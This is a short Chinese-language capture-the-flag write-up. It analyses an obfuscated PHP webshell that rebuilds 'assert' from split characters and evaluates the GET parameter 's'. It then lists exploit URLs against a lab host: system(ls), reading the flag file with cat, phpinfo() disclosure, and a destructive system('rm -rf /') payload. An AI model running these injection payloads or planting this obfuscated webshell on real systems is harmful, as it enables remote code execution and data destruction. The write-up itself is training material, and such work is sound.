CTF--shell
一、原题
(1)提示:
$poc="a#s#s#e#r#t";$poc_1=explode("#",$poc);$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
(2)原网页:一片空白什么都没有
二、步骤
1.提示:
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
2.提示分析:
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"
$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"
$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);
3.利用代码注入漏洞,构造新的URL:
117.72.52.127:15439?s=system(ls)
或者:
117.72.52.127:15439?s=system(dir)
4.输入:
117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')
获得flag:
三、补充
1.其他代码注入漏洞:
http://117.72.52.127:15640?s=phpinfo()
执行phpinfo(),泄露服务器PHP配置信息
http://117.72.52.127:15640?s=system('rm -rf /')
执行rm -rf,删除服务器上的所有文件(假如有权限)
2.参数值分析:
system('ls')
system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者
ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹
四、RCE:
RCE(远程代码执行漏洞)原理及漏洞利用-CSDN博客